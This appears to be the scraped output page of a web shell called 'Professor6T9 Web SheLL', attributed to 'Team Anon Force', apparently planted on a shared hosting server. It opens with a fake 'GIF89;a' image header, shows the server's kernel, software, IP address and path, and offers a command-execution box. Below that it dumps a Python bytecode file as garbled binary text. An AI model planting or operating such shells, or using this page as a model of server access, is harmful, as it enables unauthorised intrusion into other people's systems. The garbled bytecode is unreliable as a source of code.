GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux premium22.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
LiteSpeed
68.65.122.106
/
opt
/
alt
/
python37
/
lib64
/
python3.7
/
lib2to3
/
fixes
/
__pycache__
[ HOME ]
Exec
Submit
File Name : fix_isinstance.cpython-37.opt-1.pyc
B � fH � @ s2 d Z ddlmZ ddlmZ G dd� dej�ZdS )a, Fixer that cleans up a tuple argument to isinstance after the tokens in it were fixed. This is mainly used to remove double occurrences of tokens as a leftover of the long -> int / unicode -> str conversion. eg. isinstance(x, (int, long)) -> isinstance(x, (int, int)) -> isinstance(x, int) � )� fixer_base)�tokenc @ s e Zd ZdZdZdZdd� ZdS )� FixIsinstanceTz� power< 'isinstance' trailer< '(' arglist< any ',' atom< '(' args=testlist_gexp< any+ > ')' > > ')' > > � c C s� t � }|d }|j}g }t|�}xx|D ]p\}} | jtjkrt| j|krt|t|�d k r�||d jtjkr�t |� q&q&|� | � | jtjkr&|�| j� q&W |r�|d jtjkr�|d= t|�dkr�|j} | j |d _ | �|d � n||d d �<